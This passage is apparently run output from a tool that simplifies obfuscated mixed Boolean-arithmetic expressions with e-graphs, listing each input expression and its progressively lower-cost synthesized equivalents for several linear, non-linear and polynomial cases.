((x|((~y)|z))&w))*0x6))+(((((~(x&(~y)))&(y^z))&(~w))|((z^((~x)|(y|z)))&w))*0x1))+((((~(x&(~y)))&(~w))|((y^((~x)|(y^z)))&w))*0x1))+(((((~z)&(~(x^y)))&(~w))|((y^(~(x&(y&z))))&w))*0x5))-((((z^(x|(~y)))&(~w))|(((x&y)|(y^z))&w))*0x1))+(((((~y)&(x^z))&(~w))|((~(x|(~z)))&w))*0xb))-(((((~(x&y))&(x^(y^z)))&(~w))|(((x&y)^(y|(~z)))&w))*0x2))+((((y^(~(x|((~y)&z))))&(~w))|((z^(~(x&((~y)|z))))&w))*0x1))-(((((x&z)^(~(x^((~y)&z))))&(~w))|((~(y|z))&w))*0x2))-(((((x&y)|(~(y^z)))&(~w))|(((~y)&(~(x^z)))&w))*0x1))-((((~(x&(y^z)))&(~w))|((~(x&((~y)|z)))&w))*0x6))+((((x&y)&(~w))|(((~y)|(x^z))&w))*0x3))-(((((~x)|((~y)&z))&(~w))|(((~(x|y))|(y^z))&w))*0x7))+((((~(x|(y^z)))&(~w))|((x|(~z))&w))*0x1))-((((~(x|y))&(~w))|((z^(~((~x)&((~y)&z))))&w))*0x1))-((((z^(x|((~y)|z)))&(~w))|(((x|(~y))&(~(x^(y^z))))&w))*0x7))-((((x&(y|z))&(~w))|((z&(~(x&(~y))))&w))*0x3))+((((x^z)&(~w))|(((x&y)|(~(x^(y^z))))&w))*0x1))-((((~(y^z))&(~w))|(((y&z)^(~((~x)&(y^z))))&w))*0x1))+((((~(y|z))&(~w))|(((x^y)|(x^z))&w))*0x3))-((((x&(y|z))&(~w))|((y^(x|(y|z)))&w))*0x2))-(((((x|(~y))&(~(x^(y^z))))&(~w))|(((~(x|(~y)))|(~(y^z)))&w))*0x1))+((((x|(~z))&(~w))|((y^(x|((~y)|z)))&w))*0xb))+(((((~(x&(~y)))&(~(y^z)))&(~w))|((y^(~(x&(y&z))))&w))*0x2))+((((z^(~(x|y)))&(~w))|(((y&(~z))^((~x)|(y^z)))&w))*0x2))-((((~(x^y))&(~w))|(((~z)&(~(x^y)))&w))*0x6))-((((y^(~((~x)&(y|z))))&(~w))|((~(x|y))&w))*0x1))+((((x|(y&z))&(~w))|(((~(x&y))&(x^(y^z)))&w))*0x3))-((((z^(~((~x)&((~y)&z))))&(~w))|(((y&(~z))^(x|(y^z)))&w))*0xb))-((((z^(~(x|y)))&(~w))|((y^(x&(y|z)))&w))*0x7))+((((z|(~(x^y)))&(~w))|((z^((~x)|((~y)&z)))&w))*0x2))+(((((x|y)&(x^(y^z)))&(~w))|((z|(x&(~y)))&w))*0x1))+((((z&(~(x^y)))&(~w))|(((x&z)^(~(x^((~y)&z))))&w))*0x1))-(((((x&(~y))|(y^z))&(~w))|((~y)&w))*0x6))+((((y^(~(x|(y&z))))&(~w))|(((y&(~z))^((~x)|(y^z)))&w))*0x4))-((((~((~x)|((~y)|z)))&(~w))|((z&(x^y))&w))*0x5))-((((x^(y^z))&(~w))|((x&(~y))&w))*0x2))+(((((~(x|(~y)))|(~(x^(y^z))))&(~w))|(y&w))*0x2))-((((x|(y&z))&(~w))|((z^(~((~x)&((~y)|z))))&w))*0x1))-((((x&(~y))&(~w))|((z^(~(x|((~y)&z))))&w))*0x2))+((((z^(x&(y|z)))&(~w))|((z^((~x)|((~y)|z)))&w))*0x7))+(((((~x)|((~y)|z))&(~w))|((~(x|(y|z)))&w))*0x4))+((((y^(~(x|(y&z))))&(~w))|((~(x^((~y)&z)))&w))*0x2))+((((y^(~(x&(~z))))&(~w))|((y^((~x)&(y^z)))&w))*0x1))+((((z^(~(x&y)))&(~w))|(((x^y)|(x^z))&w))*0x1))+(((((x|(~y))&(x^(y^z)))&(~w))|((~(x&(~z)))&w))*0x5))-((((y^(x&((~y)|z)))&(~w))|((y^(x&((~y)|z)))&w))*0x2))+(((((x&y)^(~(x^(y&z))))&(~w))|((~(x&(~z)))&w))*0x1))-((((z&(x^y))&(~w))|(((x|y)&(y^z))&w))*0x3))-((((y|(~(x^z)))&(~w))|((~(x^((~y)|z)))&w))*0x2))-((((y^((~x)&(y|z)))&(~w))|(((~z)&(x^y))&w))*0x7))-((((~(x^(y&z)))&(~w))|((z|(~(x^y)))&w))*0x6))+(((((x&(~y))|(~(y^z)))&(~w))|((y^(~((~x)|((~y)&z))))&w))*0x1))+(((((~y)&(~(x^z)))&(~w))|((x&((~y)|z))&w))*0xb))-(((((y&z)^(~(x&(y^z))))&(~w))|(((~(x|y))|(y^z))&w))*0x1))+(((((x&z)|(y&(~z)))&(~w))|((z^((~x)&((~y)|z)))&w))*0x1))-((((~((~x)&((~y)|z)))&(~w))|(((~(x|y))|(~(y^z)))&w))*0x2))-((((y^((~x)|((~y)&z)))&(~w))|((~((~x)|((~y)|z)))&w))*0x1))+((~(x|(y|(z|w))))*0x8))-((~(x|((~y)|(z|w))))*0x7))-((~((~x)|(y|(z|w))))*0x7))+((~((~x)|((~y)|(z|w))))*0x7))+((~(x|(y|((~z)|w))))*0xd))+((~(x|((~y)|((~z)|w))))*0x15))+((~((~x)|(y|((~z)|w))))*0xa))+((~((~x)|((~y)|((~z)|w))))*0x6))+(((~x)&((~y)&((~z)&w)))*0xc))-(((~x)&(y&((~z)&w)))*0x1d))+((x&((~y)&((~z)&w)))*0xc))+((x&(y&((~z)&w)))*0xc))-(((~x)&((~y)&(z&w)))*0x20))+(((~x)&(y&(z&w)))*0xe))+((x&((~y)&(z&w)))*0xc))+((((((((((((((((((((-((((z&(x^y))&(~w))|((x|(y|z))&w))*-0xfa))-((((z^(x|(y|z)))&(~w))|(((x&(~y))|(y^z))&w))*0x1))+(((((~(x^y))&(~(x^z)))&(~w))|(((x&z)^(~(x^(y&z))))&w))*0x7))+((((~(y&(~z)))&(~w))|((~(x^((~y)&z)))&w))*0x1))+((x&(y&(z&w)))*0x7))+((x&(y&((~z)&w)))*0x8))+((x&((~y)&((~z)&w)))*0x8))+(((~x)&(y&(z&w)))*0x5))-(((~x)&(y&((~z)&w)))*0x1))-(((~x)&((~y)&((~z)&w)))*0x8))-((~(x|(y|(z|w))))*0x8))-((~(x|(y|((~z)|w))))*0x1))+((~(x|((~y)|(z|w))))*0x1))+((~(x|((~y)|((~z)|w))))*0x5))+((~((~x)|(y|(z|w))))*0x1))+((~((~x)|(y|((~z)|w))))*0x6))+((~((~x)|((~y)|(z|w))))*0x2))-((~((~x)|((~y)|((~z)|w))))*0x7))&(y&(z&w)))*0xf))
MBA-Blast: (((((((((((((((~w)&x)&y)&z)*0x4)+((((w&(~x))&y)&z)*0x4))+(((((~w)&(~x))&y)&z)*0x4))+(((w&x)&(~y))&z))+((((~w)&(~x))&(~y))&z))+(((w&x)&y)&(~z)))+(((((~w)&x)&y)&(~z))*0x4))+(((w&(~x))&y)&(~z)))+(((((~w)&(~x))&y)&(~z))*0x3))+(((w&(~x))&(~y))&(~z)))+((((~w)&(~x))&(~y))&(~z)))
eclasses #: 47
Input (cost = 120): (((((((((((((((~w)&x)&y)&z)*0x4)+((((w&(~x))&y)&z)*0x4))+(((((~w)&(~x))&y)&z)*0x4))+(((w&x)&(~y))&z))+((((~w)&(~x))&(~y))&z))+(((w&x)&y)&(~z)))+(((((~w)&x)&y)&(~z))*0x4))+(((w&(~x))&y)&(~z)))+(((((~w)&(~x))&y)&(~z))*0x3))+(((w&(~x))&(~y))&(~z)))+((((~w)&(~x))&(~y))&(~z)))
====================================================================================================
eclasses #: 52
Synthesized (cost = 113): (((((((((((((((~w)&x)&y)&z)*0x4)+((((w&(~x))&y)&z)*0x4))+((((~(w|x))&y)&z)*0x4))+(((w&x)&(~y))&z))+((~(w|(x|y)))&z))+(((w&x)&y)&(~z)))+(((((~w)&x)&y)&(~z))*0x4))+(((w&(~x))&y)&(~z)))+((((~(w|x))&y)&(~z))*0x3))+(((w&(~x))&(~y))&(~z)))+(~((w|x)|(y|z))))
====================================================================================================
eclasses #: 102
Synthesized (cost = 92): (((((((((~(w^x))&(z-(y&z)))+((0x4*((y&z)&(w^x)))+((((~(w|x))&y)&z)*0x4)))+(((w&x)&y)&(~z)))+(((((~w)&x)&y)&(~z))*0x4))+(((w&(~x))&y)&(~z)))+(((~(w|(x|z)))&y)*0x3))+(((~(x|y))&w)&(~z)))+(~((w|x)|(y|z))))
====================================================================================================
eclasses #: 194
Synthesized (cost = 79): (((((((((w&x)&(y^z))+(0x4*((z&y)-((w&x)&(z&y)))))+((~(w|(x|y)))&z))+((((~(w|z))&x)&y)*0x4))+(((~(x|z))&w)&y))+(((~(w|(x|z)))&y)*0x3))+((~(x|(y|z)))&w))+(~((w|x)|(y|z))))
====================================================================================================
eclasses #: 457
Synthesized (cost = 64): ((((~((w|x)|(y|z)))+((~((y|z)|x))&w))+((((~(w|(x|z)))&y)*0x3)+(((y&(~(w|z)))&x)*0x4)))+(((y^z)&((~w)^(x|y)))+(0x4*((z&y)-((w&x)&(z&y))))))
====================================================================================================
eclasses #: 1462
Synthesized (cost = 46): (((((~(x|y))^((y^z)&w))+(0x4*((z&y)-((w&x)&(z&y)))))+(((~(w|(x|z)))&y)*0x3))+(((y&(~(w|z)))&x)*0x4))
====================================================================================================
eclasses #: 2377
Synthesized (cost = 35): (((((~(w|(x|z)))&y)*0x3)+((~(x|y))^((y^z)&w)))+(0x4*((y&(x|z))-((w&x)&y))))
====================================================================================================
Non-Linear MBA with two 8 bits variables and one 8 bits constant
python3 synth.py
eclasses #: 30
Input (cost = 55): ((~(((-(~((~((-(((~((y^(y+(-0x2)))&0x1))^(--0xff))+(-y)))+0x48))&((~(((-(((~((y^(y+(-0x2)))&0x1))^(--0xff))+(-y)))+0x48)|0x2))^0x2))))+(-z))+(-0x2)))+(-0x1))
====================================================================================================
eclasses #: 39
Synthesized (cost = 22): ((~(((-(~((~(y+0x48))&((~((y+0x48)|0x2))^0x2))))-z)+(-0x2)))+(-0x1))
====================================================================================================
eclasses #: 70
Synthesized (cost = 21): ((~(((-((y+0x48)|(~((~((y+0x48)|0x2))^0x2))))-z)+0xfe))+0xff)
====================================================================================================
eclasses #: 137
Synthesized (cost = 16): (-((-(~((0xb7-y)&(((0xb7-y)&0xfd)^0x2))))-z))
====================================================================================================
eclasses #: 319
Synthesized (cost = 16): (~((~z)-(~((0xb7-y)&(((0xb7-y)&0xfd)^0x2)))))
====================================================================================================
eclasses #: 804
Synthesized (cost = 14): (z+(~((0xb7-y)&(((0xb7-y)&0xfd)^0x2))))
====================================================================================================
eclasses #: 1907
Synthesized (cost = 14): (z+(~((0xb7-y)&(((0xb7-y)&0xfd)^0x2))))
====================================================================================================
eclasses #: 7293
Synthesized (cost = 5): ((0x48+y)+z)
====================================================================================================
Non-Linear MBA with two 8 bits variables and two 8 bits materialized constants
python3 synth.py
eclasses #: 18
Input (cost = 29): (((((((x&y)*0x3)-(x|y))-(~(x|y)))-(((~x)&y)*0x2))-(~y))-(x|(~y)))
====================================================================================================
eclasses #: 23
Synthesized (cost = 29): (((((((x&y)*0x3)-(x|y))-(~(x|y)))-(((~x)&y)*0x2))-(~y))-(x|(~y)))
====================================================================================================
eclasses #: 28
Synthesized (cost = 29): (((((((x&y)*0x3)-(x|y))-(~(x|y)))-(((~x)&y)*0x2))-(~y))-(x|(~y)))
====================================================================================================
eclasses #: 50
Synthesized (cost = 20): (((-((~x)+(x^y)))+(0x1+((x&y)*0x3)))-(x|(~y)))
====================================================================================================
eclasses #: 125
Synthesized (cost = 18): (((-((~x)+(x|y)))+(0x1+((x&y)*0x3)))-(~y))
====================================================================================================
eclasses #: 499
Synthesized (cost = 15): (((-(~(x&y)))+(0x1+((x&y)*0x3)))+0x1)
====================================================================================================
eclasses #: 2163
Synthesized (cost = 13): ((((x&y)+0x2)+((x&y)*0x3))+0x1)
====================================================================================================
eclasses #: 17036
Synthesized (cost = 11): ((0x3+(x&y))+((x&y)*0x3))
====================================================================================================
eclasses #: 255439
Synthesized (cost = 7): (0x3+(0x4*(x&y)))
e-graph reset done.
====================================================================================================
Polynomial MBA (MBA-Obfuscator) with three 8 bits variables
python3 synth.py --use-mba-blast-before --mba-blast-logic=1
Original: ((((((((((((((((z^((~x)&(y|z)))*0x8)*(x&y))-(((z^((~x)&(y|z)))*0x18)*(x&(~y))))+(((z^((~x)&(y|z)))*0x4)*(~(x|y))))-(((z^((~x)&(y|z)))*0x14)*(~(x|(~y)))))-(((~(x&(y&z)))*0x1e)*(x&y)))-(((~(x&(y&z)))*0xc)*(x&(~y))))+(((~(x&(y&z)))*0x24)*(x|y)))-(((~(x&(y&z)))*0x6)*(~(x^y))))+(((~(x&(y&z)))*0x9)*(~(x|y))))-(((~(x&(y&z)))*0xf)*(~(x|(~y)))))+(((z^((~x)&(y|z)))*0x1c)*(x^y)))-(((z^((~x)&(y|z)))*0x4)*y))-(((~(x&(y&z)))*0x15)*(x^y)))+(((~(x&(y&z)))*0x3)*y))
MBA-Blast: ((~(x&(~x)))*((((((y*0x4)-((x&y)*0x4))+((x&z)*0x4))-((y&z)*0x4))+((x&y)&z))+((~(x&(~x)))*0x3)))
eclasses #: 23
Input (cost = 41): ((~(x&(~x)))*((((((y*0x4)-((x&y)*0x4))+((x&z)*0x4))-((y&z)*0x4))+((x&y)&z))+((~(x&(~x)))*0x3)))
====================================================================================================
eclasses #: 27
Synthesized (cost = 31): (0xff*((((((y*0x4)-((x&y)*0x4))+((x&z)*0x4))-((y&z)*0x4))+((x&y)&z))+0xfd))
====================================================================================================
eclasses #: 40
Synthesized (cost = 28): (-(((((0x4*(y-(x&y)))+((x&z)*0x4))-((y&z)*0x4))+((x&y)&z))+0xfd))
====================================================================================================
eclasses #: 79
Synthesized (cost = 26): (-((((0x4*((y-(x&y))+(x&z)))-((y&z)*0x4))+((x&y)&z))+0xfd))
====================================================================================================
eclasses #: 209
Synthesized (cost = 17): (0x3-((0x4*((x^y)&(y^z)))+((x&y)&z)))
====================================================================================================
eclasses #: 827
Synthesized (cost = 17): ((0x3-((x&y)&z))-(0x4*((x^y)&(y^z))))
====================================================================================================
eclasses #: 8319
Synthesized (cost = 17): ((0x3-((x&y)&z))-(0x4*((x^y)&(y^z))))
====================================================================================================
Polynomial MBA (normal, 3rd degree) with three 8 bits variables
python3 synth.py
eclasses #: 44
Input (cost = 825): ((((((((((((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*(-0x6d)))+0x26)*((((((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*(-0x6d)))+0x26))*((((((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*(-0x6d)))+0x26))*0x18)+((((((((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*(-0x6d)))+0x26)*((((((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*(-0x6d)))+0x26))*(-0x28)))+(((((((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*(-0x6d)))+0x26)*0x5b))+(-0x22))
====================================================================================================
eclasses #: 57
Synthesized (cost = 775): ((((((((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*(-0x6d)))+0x26)*((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*(-0x6d)))+0x26))*((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*(-0x6d)))+0x26))*0x18)+((((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*(-0x6d)))+0x26)*((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*(-0x6d)))+0x26))*(-0x28)))+(((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*(-0x6d)))+0x26)*0x5b))+(-0x22))
====================================================================================================
eclasses #: 89
Synthesized (cost = 775): ((((((((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26)*((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26))*((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26))*0x18)+((((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26)*((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26))*0xd8))+(((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26)*0x5b))+0xde)
====================================================================================================
eclasses #: 140
Synthesized (cost = 775): ((((((((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26)*((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26))*((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26))*0x18)+((((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26)*((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26))*0xd8))+(((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26)*0x5b))+0xde)
====================================================================================================
eclasses #: 267
Synthesized (cost = 359): ((((((((((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3))))*((0xa8*((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3))))+0x68))+(((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3)))*0x93))+0x26)*((((((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3))))*((0xa8*((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3))))+0x68))+(((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3)))*0x93))+0x26))*((0x18*((((((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3))))*((0xa8*((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3))))+0x68))+(((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3)))*0x93))+0x26))+0xd8))+(((((((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3))))*((0xa8*((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3))))+0x68))+(((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3)))*0x93))+0x26)*0x5b))+0xde)
====================================================================================================
eclasses #: 715
